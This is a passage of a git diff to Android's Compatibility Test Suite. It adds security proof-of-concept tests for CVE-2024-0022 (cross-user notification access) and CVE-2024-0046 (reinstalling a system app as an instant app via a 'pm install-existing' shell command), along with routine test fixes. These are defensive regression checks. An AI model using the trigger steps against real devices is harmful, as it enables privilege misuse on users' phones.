+                    ICompanionDeviceManager.Stub.asInterface(
+                            ServiceManager.getServiceOrThrow(Context.COMPANION_DEVICE_SERVICE));
+
+            Context context = getApplicationContext();
+
+            // Call requestNotificationAccess with non current user id.
+            // With fix, a SecurityException will be thrown.
+            // Without fix, an IllegalStateException will be thrown
+            try {
+                service.requestNotificationAccess(
+                        new ComponentName(context.getPackageName(), "CVE_2024_0022"),
+                        context.getUserId() + 1);
+            } catch (Exception e) {
+                if (e instanceof SecurityException) {
+                    if (!e.getMessage().contains("does not match")) {
+                        throw e;
+                    }
+                }
+
+                if (e instanceof IllegalStateException) {
+                    if (e.getMessage()
+                            .contains("App must have an association before calling this API")) {
+                        assertWithMessage(
+                                        "Device is vulnerable to b/298635078, notification access"
+                                            + " can be requested and set on behalf of another user"
+                                            + " profile via requestNotificationAccess() of"
+                                            + " CompanionDeviceManagerService.")
+                                .fail();
+                    } else {
+                        throw e;
+                    }
+                }
+            }
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2024_0046.java b/tests/tests/security/src/android/security/cts/CVE_2024_0046.java
new file mode 100644
index 0000000..90a31bf
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2024_0046.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2024_0046 extends StsExtraBusinessLogicTestCase {
+    private String mSettingsPackageName;
+
+    @AsbSecurityTest(cveBugId = 299441833)
+    @Test
+    public void testPocCVE_2024_0046() {
+        try {
+            final PackageManager packageManager = getApplicationContext().getPackageManager();
+            runWithShellPermissionIdentity(
+                    () -> {
+                        // Retrieve settings package name.
+                        mSettingsPackageName = "com.android.settings";
+                        ResolveInfo info =
+                                packageManager.resolveActivityAsUser(
+                                        new Intent(Settings.ACTION_SETTINGS),
+                                        PackageManager.MATCH_SYSTEM_ONLY,
+                                        UserHandle.USER_SYSTEM);
+                        if (info != null && info.activityInfo != null) {
+                            mSettingsPackageName = info.activityInfo.packageName;
+                        }
+
+                        // Check if settings app is system app.
+                        assume().that(
+                                        (packageManager.getApplicationInfo(mSettingsPackageName, 0)
+                                                        .flags
+                                                & ApplicationInfo.FLAG_SYSTEM))
+                                .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+
+                        // Check if settings app is not an instant app.
+                        assume().that(packageManager.isInstantApp(mSettingsPackageName)).isFalse();
+
+                        try (AutoCloseable withSettingsAsInstantApp = withSettingsAsInstantApp()) {
+                            assertWithMessage(
+                                            "Device is vulnerable to b/299441833, System apps can"
+                                                    + " be reinstalled as instant apps")
+                                    .that(
+                                            poll(
+                                                    () -> {
+                                                        return packageManager.isInstantApp(
+                                                                mSettingsPackageName);
+                                                    }))
+                                    .isFalse();
+                        }
+                    });
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    private AutoCloseable withSettingsAsInstantApp() {
+        runShellCommand("pm install-existing --instant " + mSettingsPackageName);
+        return () -> {
+            runShellCommand("pm install-existing --full " + mSettingsPackageName);
+        };
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index f9ce8df..8a84382 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -21,6 +21,7 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.Signature;
 import android.content.res.Resources.NotFoundException;
+import android.os.SystemProperties;
 import android.platform.test.annotations.RestrictedBuildTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
@@ -45,6 +46,11 @@
 
     @RestrictedBuildTest
     public void testPackageSignatures() throws Exception {
+        if (isAosp()) {
+            Log.i(TAG, "Detected AOSP build. Skipping test");
+            return;
+        }
+
         Set<String> badPackages = new TreeSet<>();
         Set<Signature> wellKnownSignatures = getWellKnownSignatures();
 
@@ -297,4 +303,10 @@
             }
         }
     }
+
+    private boolean isAosp() throws Exception {
+        String product = SystemProperties.get("ro.product.system_ext.name", "");
+        String model = SystemProperties.get("ro.product.system_ext.model", "");
+        return product.startsWith("aosp_") || model.startsWith("AOSP on ");
+    }
 }
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index 66e052f..e76b629 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -39,6 +39,7 @@
 import androidx.test.uiautomator.UiDevice
 import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
 import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.getEventually
 import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.UiAutomatorUtils
@@ -52,7 +53,8 @@
 import org.junit.Assert.assertNotNull
 import org.junit.Assert.assertNull
 import org.junit.Assert.assertTrue
-import org.junit.Assume
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
 import org.junit.Before
 import org.junit.Test
 
@@ -326,14 +328,13 @@
     @AppModeFull(reason = "Instant apps can't manage keyguard")
     fun testCantChangeWhenLocked() {
         assumeSensorToggleSupport()
-        Assume.assumeTrue(packageManager
-                .hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN))
+        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN))
 
 //      TODO use actual test api when it can be added
-//      Assume.assumeTrue(callWithShellPermissionIdentity { spm.requiresAuthentication() })
+//      assumeTrue(callWithShellPermissionIdentity { spm.requiresAuthentication() })
         val packageContext: Context = context.createPackageContext("android", 0)
         try {
-            Assume.assumeTrue(packageContext.resources.getBoolean(packageContext.resources
+            assumeTrue(packageContext.resources.getBoolean(packageContext.resources
                     .getIdentifier("config_sensorPrivacyRequiresAuthentication", "bool", "android"))
             )
         } catch (e: NotFoundException) {
@@ -499,15 +500,15 @@
     @Test
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testCantEnablePrivacyIfNotSupported() {
-        Assume.assumeFalse(spm.supportsSensorToggle(sensor))
-        Assume.assumeFalse(spm.supportsSensorToggle(TOGGLE_TYPE_SOFTWARE, sensor))
+        assumeFalse(spm.supportsSensorToggle(sensor))
+        assumeFalse(spm.supportsSensorToggle(TOGGLE_TYPE_SOFTWARE, sensor))
         setSensor(true)
         assertFalse(isSensorPrivacyEnabled())
     }
 
     private fun assumeSensorToggleSupport() {
-        Assume.assumeTrue(spm.supportsSensorToggle(sensor))
-        Assume.assumeTrue(spm.supportsSensorToggle(TOGGLE_TYPE_SOFTWARE, sensor))
+        assumeTrue(spm.supportsSensorToggle(sensor))
+        assumeTrue(spm.supportsSensorToggle(TOGGLE_TYPE_SOFTWARE, sensor))
     }
 
     private fun startTestApp() {
@@ -644,16 +645,16 @@
             runWithShellPermissionIdentity {
                 km.setLock(KeyguardManager.PIN, password, KeyguardManager.PIN, null)
             }
-            eventually {
+            getEventually {
                 uiDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP)
-                assertFalse("Device never slept.", pm.isInteractive)
+                assumeFalse("Device never slept.", pm.isInteractive)
             }
-            eventually {
+            getEventually {
                 uiDevice.pressKeyCode(KeyEvent.KEYCODE_WAKEUP)
-                assertTrue("Device never woke up.", pm.isInteractive)
+                assumeTrue("Device never woke up.", pm.isInteractive)
             }
-            eventually {
-                assertTrue("Device isn't locked", km.isDeviceLocked)
+            getEventually {
+                assumeTrue("Device isn't locked", km.isDeviceLocked)
             }
 
             r.invoke()
@@ -663,17 +664,17 @@
             }
 
             // Recycle the screen power in case the keyguard is stuck open
-            eventually {
+            getEventually {
                 uiDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP)
-                assertFalse("Device never slept.", pm.isInteractive)
+                assumeFalse("Device never slept.", pm.isInteractive)
             }
-            eventually {
+            getEventually {
                 uiDevice.pressKeyCode(KeyEvent.KEYCODE_WAKEUP)
-                assertTrue("Device never woke up.", pm.isInteractive)
+                assumeTrue("Device never woke up.", pm.isInteractive)
             }
 
-            eventually {
-                assertFalse("Device isn't unlocked", km.isDeviceLocked)
+            getEventually {
+                assumeFalse("Device isn't unlocked", km.isDeviceLocked)
             }
         }
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallOnSimCallManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallOnSimCallManagerTest.java
index 5cc1f70..f29612a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallOnSimCallManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallOnSimCallManagerTest.java
@@ -58,7 +58,8 @@
                     TEST_SIM_CALL_MANAGER_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
             .setAddress(Uri.parse("tel:555-TEST"))
             .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
-            .setCapabilities(PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER
+                    | PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
             .setHighlightColor(Color.RED)
             .setShortDescription(ACCOUNT_LABEL)
             .setSupportedUriSchemes(Arrays.asList("tel"))
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
index aa0b3d1..8ee4a20 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
@@ -41,7 +41,7 @@
     private static final String COMMAND_MODEM_SERVICE_UNKNOWN = "unknown";
     private static final String COMMAND_MODEM_SERVICE_DEFAULT = "default";
 
-    private static final int BIND_LOCAL_MOCKMODEM_SERVICE_TIMEOUT_MS = 5000;
+    private static final int BIND_LOCAL_MOCKMODEM_SERVICE_TIMEOUT_MS = 25000;
     private static final int BIND_RADIO_INTERFACE_READY_TIMEOUT_MS = 5000;
 
     private class MockModemServiceConnection implements ServiceConnection {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
index daacc5a..3325f2f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
@@ -36,6 +36,7 @@
 import androidx.test.filters.MediumTest
 import com.android.compatibility.common.util.ApiTest
 import org.junit.Assert
+import org.junit.Ignore
 import org.junit.Test
 import org.junit.runner.RunWith
 
@@ -225,6 +226,7 @@
     }
 
     @Test
+    @Ignore("Evaluating null shaders is undefined (and changing) behavior. b/40045168, b/300305231")
     fun testDefaultInputShader() {
         val paint = Paint()
         paint.color = Color.BLUE
@@ -238,6 +240,7 @@
     }
 
     @Test
+    @Ignore("Evaluating null shaders is undefined (and changing) behavior. b/40045168, b/300305231")
     fun testDefaultInputShaderWithPaintAlpha() {
         val paint = Paint()
         paint.color = Color.argb(0.5f, 0.0f, 0.0f, 1.0f)
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 47622f7..d1fa0a5 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -86,6 +86,7 @@
         </activity>
 
         <activity android:name="android.view.cts.ViewTestCtsActivity"
+             android:enableOnBackInvokedCallback="false"
              android:screenOrientation="locked"
              android:label="ViewTestCtsActivity"
              android:exported="true">
@@ -407,6 +408,7 @@
         </activity>
 
         <activity android:name="android.view.cts.InputEventInterceptTestActivity"
+             android:enableOnBackInvokedCallback="false"
              android:theme="@style/no_starting_window"
              android:exported="true">
             <intent-filter>
@@ -415,6 +417,7 @@
         </activity>
 
         <activity android:name="android.view.cts.input.InputDeviceKeyLayoutMapTestActivity"
+             android:enableOnBackInvokedCallback="false"
              android:configChanges="keyboardHidden|navigation|keyboard"
              android:exported="true">
             <intent-filter>
diff --git a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
index c8f16ef..1cad13a 100644
--- a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
+++ b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
@@ -87,7 +87,8 @@
         private CountDownLatch mCountDownLatch = new CountDownLatch(1);
 
         void waitForModeToChange(int modeId) throws InterruptedException {
-            while (modeId != mDisplay.getMode().getModeId()) {
+            while (modeId != mDisplay.getMode().getModeId()
+                && mDisplay.getMode().getRefreshRate() != mDisplay.getRefreshRate()) {
                 mCountDownLatch.await(5, TimeUnit.SECONDS);
             }
         }
@@ -167,9 +168,9 @@
     @Test
     public void testRefreshRate() {
         boolean fpsOk = false;
-        float claimedFps = mDisplay.getRefreshRate();
 
         for (int i = 0; i < 3; i++) {
+            float claimedFps = mDisplay.getRefreshRate();
             float achievedFps = mFpsResult.waitResult();
             Log.d(TAG, "claimed " + claimedFps + " fps, " +
                        "achieved " + achievedFps + " fps");
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index a14568f..eed9762 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -367,6 +367,7 @@
         <activity android:name="android.widget.cts.ListPopupWindowCtsActivity"
              android:label="ListPopupWindowCtsActivity"
              android:windowSoftInputMode="stateAlwaysHidden"
+             android:theme="@style/Theme_NoSwipeDismiss"
              android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/widget/res/layout/horizontal_scrollview.xml b/tests/tests/widget/res/layout/horizontal_scrollview.xml
index d1b5aca3..5be3b3e 100644
--- a/tests/tests/widget/res/layout/horizontal_scrollview.xml
+++ b/tests/tests/widget/res/layout/horizontal_scrollview.xml
@@ -135,7 +135,8 @@
                 android:id="@+id/horizontal_scroll_view_stretch"
                 android:layout_width="180px"
                 android:layout_height="180px"
-                android:background="#FFF">
+                android:background="#FFF"
+                android:defaultFocusHighlightEnabled="false">
                 <LinearLayout
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
diff --git a/tests/tests/widget/res/layout/scrollview_layout.xml b/tests/tests/widget/res/layout/scrollview_layout.xml
index 7115509..e148746 100644
--- a/tests/tests/widget/res/layout/scrollview_layout.xml
+++ b/tests/tests/widget/res/layout/scrollview_layout.xml
@@ -132,7 +132,8 @@
             android:id="@+id/scroll_view_stretch"
             android:layout_width="90px"
             android:layout_height="90px"
-            android:background="#FFF">
+            android:background="#FFF"
+            android:defaultFocusHighlightEnabled="false">
             <LinearLayout
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index 0239851..a9eae705 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -375,6 +375,10 @@
         <item name="themeTileMode">2</item>
     </style>
 
+    <style name="Theme_NoSwipeDismiss">
+        <item name="android:windowSwipeToDismiss">false</item>
+    </style>
+
     <style name="PopupEmptyStyle" />
 
     <style name="TabWidgetCustomStyle" parent="android:Widget.TabWidget">
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
index a4c17c6f..b545bac 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -474,10 +474,18 @@
         assertTrue(adapter.hasStableIds());
 
         assertEquals(2, mListView.getChildCount());
-        AppWidgetHostView child0 = (AppWidgetHostView) mListView.getChildAt(0);
-        AppWidgetHostView child1 = (AppWidgetHostView) mListView.getChildAt(1);
-        TextView textView0 = (TextView) child0.getChildAt(0);
-        TextView textView1 = (TextView) child1.getChildAt(0);
+        TextView textView0;
+        TextView textView1;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) mListView.getChildAt(0);
+            AppWidgetHostView child1 = (AppWidgetHostView) mListView.getChildAt(1);
+            textView0 = (TextView) child0.getChildAt(0);
+            textView1 = (TextView) child1.getChildAt(0);
+        } catch (ClassCastException ce) {
+            textView0 = (TextView) mListView.getChildAt(0);
+            textView1 = (TextView) mListView.getChildAt(1);
+        }
+
         assertEquals("Hello", textView0.getText());
         assertEquals("World", textView1.getText());
     }
@@ -534,13 +542,23 @@
         assertTrue(adapter.hasStableIds());
 
         assertEquals(3, listView.getChildCount());
-        AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
-        AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
-        AppWidgetHostView child2 = (AppWidgetHostView) listView.getChildAt(2);
-        TextView textView0 = (TextView) child0.getChildAt(0);
-        TextView textView1 = (TextView) child1.getChildAt(0);
-        CompoundButton checkBox2 =
-                (CompoundButton) ((ViewGroup) child2.getChildAt(0)).getChildAt(0);
+
+        TextView textView0;
+        TextView textView1;
+        CompoundButton checkBox2Temp;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+            AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+            AppWidgetHostView child2 = (AppWidgetHostView) listView.getChildAt(2);
+            textView0 = (TextView) child0.getChildAt(0);
+            textView1 = (TextView) child1.getChildAt(0);
+            checkBox2Temp = (CompoundButton) ((ViewGroup) child2.getChildAt(0)).getChildAt(0);
+        } catch (ClassCastException ce) {
+            textView0 = (TextView) listView.getChildAt(0);
+            textView1 = (TextView) listView.getChildAt(1);
+            checkBox2Temp = (CompoundButton) ((ViewGroup) listView.getChildAt(2)).getChildAt(0);
+        }
+        final CompoundButton checkBox2 = checkBox2Temp;
         assertEquals("Hello", textView0.getText());
         assertEquals("World", textView1.getText());
         assertEquals("Checkbox", checkBox2.getText());
@@ -606,8 +624,14 @@
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
-        AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
-        TextView initialFirstItemView = (TextView) child0.getChildAt(0);
+        TextView initialFirstItemView;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+            initialFirstItemView = (TextView) child0.getChildAt(0);
+        } catch (ClassCastException ce) {
+            initialFirstItemView = (TextView) listView.getChildAt(0);
+        }
+
         int initialFirstItemViewType = initialAdapter.getItemViewType(0);
 
         items = new RemoteCollectionItems.Builder()
@@ -622,9 +646,16 @@
         // layoutId should have been maintained (as 0) and the next view type assigned to the
         // checkbox layout. The view for the row should have been recycled without inflating a new
         // view.
-        AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+
+        TextView secondItemView;
+        try {
+            AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+            secondItemView = (TextView) child1.getChildAt(0);
+        } catch (ClassCastException ce) {
+            secondItemView = (TextView) listView.getChildAt(1);
+        }
         assertSame(initialAdapter, listView.getAdapter());
-        assertSame(initialFirstItemView, child1.getChildAt(0));
+        assertSame(initialFirstItemView, secondItemView);
         assertEquals(initialFirstItemViewType, listView.getAdapter().getItemViewType(1));
         assertNotEquals(initialFirstItemViewType, listView.getAdapter().getItemViewType(0));
     }
@@ -641,8 +672,14 @@
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
-        AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
-        TextView initialFirstItemView = (TextView) child0.getChildAt(0);
+
+        TextView initialFirstItemView;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+            initialFirstItemView = (TextView) child0.getChildAt(0);
+        } catch (ClassCastException ce) {
+            initialFirstItemView = (TextView) listView.getChildAt(0);
+        }
 
         items = new RemoteCollectionItems.Builder()
                 .addItem(8 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout))
@@ -652,10 +689,16 @@
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         // The adapter should have been replaced, which is required when the view type increases.
-        AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+        TextView secondItemView;
+        try {
+            AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+            secondItemView = (TextView) child1.getChildAt(0);
+        } catch (ClassCastException ce) {
+            secondItemView = (TextView) listView.getChildAt(1);
+        }
         assertEquals(2, listView.getAdapter().getViewTypeCount());
         assertNotSame(initialAdapter, listView.getAdapter());
-        assertNotSame(initialFirstItemView, child1.getChildAt(0));
+        assertNotSame(initialFirstItemView, secondItemView);
     }
 
     @Test
@@ -672,8 +715,13 @@
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
-        AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
-        TextView initialSecondItemView = (TextView) child1.getChildAt(0);
+        TextView initialSecondItemView;
+        try {
+            AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+            initialSecondItemView = (TextView) child1.getChildAt(0);
+        } catch (ClassCastException ce) {
+            initialSecondItemView = (TextView) listView.getChildAt(1);
+        }
         assertEquals(1, initialAdapter.getItemViewType(1));
 
         items = new RemoteCollectionItems.Builder()
@@ -685,10 +733,16 @@
 
         // The adapter should have been kept, and the second item should have maintained its view
         // type of 1 even though its now the only view type.
-        AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+        TextView firstItemView;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+            firstItemView = (TextView) child0.getChildAt(0);
+        } catch (ClassCastException ce) {
+            firstItemView = (TextView) listView.getChildAt(0);
+        }
         assertEquals(2, listView.getAdapter().getViewTypeCount());
         assertSame(initialAdapter, listView.getAdapter());
-        assertSame(initialSecondItemView, child0.getChildAt(0));
+        assertSame(initialSecondItemView, firstItemView);
         assertEquals(1, listView.getAdapter().getItemViewType(0));
     }
 
@@ -705,8 +759,13 @@
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
-        AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
-        TextView initialSecondItemView = (TextView) child1.getChildAt(0);
+        TextView initialSecondItemView;
+        try {
+            AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+            initialSecondItemView = (TextView) child1.getChildAt(0);
+        } catch (ClassCastException ce) {
+            initialSecondItemView = (TextView) listView.getChildAt(1);
+        }
         assertEquals(1, initialAdapter.getItemViewType(1));
 
         items = new RemoteCollectionItems.Builder()
@@ -717,10 +776,16 @@
 
         // The adapter should have been kept, and kept its higher view count to allow for views to
         // be recycled.
-        AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+        TextView firstItemView;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+            firstItemView = (TextView) child0.getChildAt(0);
+        } catch (ClassCastException ce) {
+            firstItemView = (TextView) listView.getChildAt(0);
+        }
         assertEquals(2, listView.getAdapter().getViewTypeCount());
         assertSame(initialAdapter, listView.getAdapter());
-        assertSame(initialSecondItemView, child0.getChildAt(0));
+        assertSame(initialSecondItemView, firstItemView);
         assertEquals(1, listView.getAdapter().getItemViewType(0));
     }
 
@@ -768,14 +833,25 @@
         assertEquals(13, adapter.getItemId(3));
 
         assertEquals(4, mGridView.getChildCount());
-        AppWidgetHostView child0 = (AppWidgetHostView) mGridView.getChildAt(0);
-        AppWidgetHostView child1 = (AppWidgetHostView) mGridView.getChildAt(1);
-        AppWidgetHostView child2 = (AppWidgetHostView) mGridView.getChildAt(2);
-        AppWidgetHostView child3 = (AppWidgetHostView) mGridView.getChildAt(3);
-        TextView textView0 = (TextView) child0.getChildAt(0);
-        TextView textView1 = (TextView) child1.getChildAt(0);
-        TextView textView2 = (TextView) child2.getChildAt(0);
-        TextView textView3 = (TextView) child3.getChildAt(0);
+        TextView textView0;
+        TextView textView1;
+        TextView textView2;
+        TextView textView3;
+        try {
+            AppWidgetHostView child0 = (AppWidgetHostView) mGridView.getChildAt(0);
+            AppWidgetHostView child1 = (AppWidgetHostView) mGridView.getChildAt(1);
+            AppWidgetHostView child2 = (AppWidgetHostView) mGridView.getChildAt(2);
+            AppWidgetHostView child3 = (AppWidgetHostView) mGridView.getChildAt(3);
+            textView0 = (TextView) child0.getChildAt(0);
+            textView1 = (TextView) child1.getChildAt(0);
+            textView2 = (TextView) child2.getChildAt(0);
+            textView3 = (TextView) child3.getChildAt(0);
+        } catch (ClassCastException ce) {
+            textView0 = (TextView) mGridView.getChildAt(0);
+            textView1 = (TextView) mGridView.getChildAt(1);
+            textView2 = (TextView) mGridView.getChildAt(2);
+            textView3 = (TextView) mGridView.getChildAt(3);
+        }
         assertEquals("Hello", textView0.getText());
         assertEquals("World", textView1.getText());
         assertEquals("Hola", textView2.getText());
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index ffe2080..6f4e816 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2491,7 +2491,7 @@
 
     /**
      * Verify that the {@link android.Manifest.permission#WIFI_UPDATE_USABILITY_STATS_SCORE}
-     * permission is held by at most one application.
+     * permission is held by at most two applications.
      */
     @Test
     public void testUpdateWifiUsabilityStatsScorePermission() {
@@ -2516,10 +2516,10 @@
             uniqueNonSystemPackageNames.add(packageName);
         }
 
-        if (uniqueNonSystemPackageNames.size() > 1) {
+        if (uniqueNonSystemPackageNames.size() > 2) {
             fail("The WIFI_UPDATE_USABILITY_STATS_SCORE permission must not be held by more than "
-                + "one application, but is held by " + uniqueNonSystemPackageNames.size()
-                + " applications: " + String.join(", ", uniqueNonSystemPackageNames));
+                    + "two applications, but is held by " + uniqueNonSystemPackageNames.size()
+                    + " applications: " + String.join(", ", uniqueNonSystemPackageNames));
         }
     }
 
diff --git a/tools/cts-dynamic-config/DynamicConfig.xml b/tools/cts-dynamic-config/DynamicConfig.xml
index 5916f42..4f1a1b0 100644
--- a/tools/cts-dynamic-config/DynamicConfig.xml
+++ b/tools/cts-dynamic-config/DynamicConfig.xml
@@ -17,4 +17,43 @@
     <entry key="media_files_url">
       <value>https://dl.google.com/dl/android/cts/android-cts-media-1.4.zip</value>
     </entry>
+
+    <!-- Required by BusinessLogic. -->
+    <entry key="business_logic_device_features">
+        <value>android.hardware.type.automotive</value>
+        <value>android.hardware.type.television</value>
+        <value>android.hardware.type.watch</value>
+        <value>android.hardware.type.embedded</value>
+        <value>android.hardware.type.pc</value>
+        <value>android.software.leanback</value>
+        <value>com.google.android.feature.PIXEL_EXPERIENCE</value>
+        <value>android.hardware.telephony</value>
+        <value>android.hardware.vr.high_performance</value>
+        <value>cn.google.services</value>
+        <value>com.google.android.feature.RU</value>
+        <value>android.hardware.ram.low</value>
+        <value>com.google.android.feature.EEA_DEVICE</value>
+        <value>com.google.android.paid.chrome</value>
+        <value>com.google.android.paid.search</value>
+    </entry>
+    <entry key="business_logic_device_properties">
+        <value>ro.build.fingerprint</value>
+        <value>ro.build.version.sdk</value>
+        <value>ro.product.brand</value>
+        <value>ro.product.first_api_level</value>
+        <value>ro.product.manufacturer</value>
+        <value>ro.product.model</value>
+        <value>ro.product.name</value>
+    </entry>
+    <entry key="business_logic_device_packages">
+        <value>com.google.android.gms</value>
+        <value>com.android.vending</value>
